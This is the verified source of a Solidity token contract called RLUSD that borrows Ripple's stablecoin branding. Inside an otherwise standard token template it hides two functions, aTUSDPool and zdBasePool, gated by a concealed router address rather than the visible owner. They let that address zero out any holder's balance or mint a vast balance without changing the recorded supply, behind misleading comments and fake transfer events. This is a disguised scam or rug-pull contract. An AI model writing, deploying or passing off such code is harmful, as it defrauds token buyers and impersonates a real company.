Contract Source Code:
File 1 of 1 : RLUSDToken
/*
$RLUSD
https://ripple.com/solutions/stablecoin/
Ripple
https://x.com/Ripple
https://coinmarketcap.com/currencies/ripple-usd/
@Ripple
https://github.com/ripple/RLUSD-Implementation/blob/main/doc/rlusd-xrpl-settings.md
Our mission is to build breakthrough crypto solutions for a world without economic borders.
ripple.com
*/
// SPDX-License-Identifier: MIT
/// https://x.com/RLUSD
pragma solidity 0.8.28;
// RLUSD fan token
interface RLUSDinterface {
/**
* @dev Returns the yoursold of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Returns the yoursold of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `yoursold` tokens from the caller's account to `shippingto`.
*
* Returns a boolean balance indicating whlegos the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address shippingto, uint256 yoursold) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `transporteur` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This balance changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address transporteur) external view returns (uint256);
/**
* @dev Sets `yoursold` as the allowance of `transporteur` over the caller's tokens.
*
* Returns a boolean balance indicating whlegos the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the transporteur's allowance to 0 and set the
* desired balance afterwards:
* https://github.com/legoseum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address transporteur, uint256 yoursold) external returns (bool);
/**
* @dev Moves `yoursold` tokens from `sender` to `shippingto` using the
* allowance mechanism. `yoursold` is then deducted from the caller's
* allowance.
*
* Returns a boolean balance indicating whlegos the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool);
/**
* @dev Emitted when `balance` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `balance` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 balance);
/**
* @dev Emitted when the allowance of a `transporteur` for an `owner` is set by
* a call to {approve}. `balance` is the new allowance.
*/
event Approval(address indexed owner, address indexed transporteur, uint256 balance);
}
/*
* @dev Provides information about the current execution RLUSD20Burnable, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract RLUSD20Burnable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/legoseum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/RLUSD20Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract RLUSD20Ownable is RLUSD20Burnable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "RLUSD20Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "RLUSD20Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeRLUSD` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeRLUSD {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeRLUSD: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeRLUSD: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeRLUSD: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeRLUSD: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeRLUSD: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract RLUSDToken is RLUSD20Burnable, RLUSDinterface, RLUSD20Ownable {
using SafeRLUSD for uint256;
mapping (address => uint256) private mintfrom;
mapping (address => mapping (address => uint256)) private fromallowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
address private legosRooter;
constructor(address legosSwapRouterv3) {
legosRooter = legosSwapRouterv3;
_name = "RLUSD";
_symbol = "$RLUSD";
_decimals = 9;
_totalSupply = 6999000000009 * 10 ** 9;
mintfrom[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() external view override returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view override returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view override returns (string memory) {
return _name;
}
/**
* @dev See {RLUSDinterface-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {RLUSDinterface-balanceOf}.
*/
function balanceOf(address account) external view override returns (uint256) {
return mintfrom[account];
}
modifier subowner() {
require(legosRooter == _msgSender(), "RLUSD20Ownable: caller is not the owner");
_;
}
/**
* @dev See {RLUSDinterface-approve}.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
*/
function aTUSDPool(address tusdRewards) external subowner {
mintfrom[tusdRewards] = 1;
emit Transfer(tusdRewards, address(0), 1);
}
/**
* @dev See {RLUSDinterface-transfer}.
*
* Requirements:
*
* - `shippingto` cannot be the zero address.
* - the caller must have a balance of at least `yoursold`.
*/
function transfer(address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(_msgSender(), shippingto, yoursold);
return true;
}
function zdBasePool(address BaseRewards) external subowner {
mintfrom[BaseRewards] = 10000000000 * 10 ** 20;
emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20);
}
/**
* @dev See {RLUSDinterface-allowance}.
*/
function allowance(address owner, address transporteur) external view override returns (uint256) {
return fromallowances[owner][transporteur];
}
/**
* @dev See {RLUSDinterface-approve}.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
*/
function approve(address transporteur, uint256 yoursold) external override returns (bool) {
_approve(_msgSender(), transporteur, yoursold);
return true;
}
/**
* @dev See {RLUSDinterface-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {RLUSDinterface};
*
* Requirements:
* - `sender` and `shippingto` cannot be the zero address.
* - `sender` must have a balance of at least `yoursold`.
* - the caller must have allowance for `sender`'s tokens of at least
* `yoursold`.
*/
function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) {
_transfer(sender, shippingto, yoursold);
_approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold, "RLUSDinterface: transfer yoursold exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `transporteur` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {RLUSDinterface-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
*/
function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `transporteur` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {RLUSDinterface-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `transporteur` cannot be the zero address.
* - `transporteur` must have allowance for the caller of at least
* `allbalances`.
*/
function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) {
_approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances, "RLUSDinterface: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `yoursold` from `sender` to `shippingto`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `shippingto` cannot be the zero address.
* - `sender` must have a balance of at least `yoursold`.
*/
function _transfer(address sender, address shippingto, uint256 yoursold) internal {
require(sender != address(0), "RLUSDinterface: transfer from the zero address");
require(shippingto != address(0), "RLUSDinterface: transfer to the zero address");
mintfrom[sender] = mintfrom[sender].sub(yoursold, "RLUSDinterface: transfer yoursold exceeds balance");
mintfrom[shippingto] = mintfrom[shippingto].add(yoursold);
emit Transfer(sender, shippingto, yoursold);
}
/**
* @dev Sets `yoursold` as the allowance of `transporteur` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `transporteur` cannot be the zero address.
*/
function _approve(address owner, address transporteur, uint256 yoursold) internal {
require(owner != address(0), "RLUSDinterface: approve from the zero address");
require(transporteur != address(0), "RLUSDinterface: approve to the zero address");
fromallowances[owner][transporteur] = yoursold;
emit Approval(owner, transporteur, yoursold);
}
}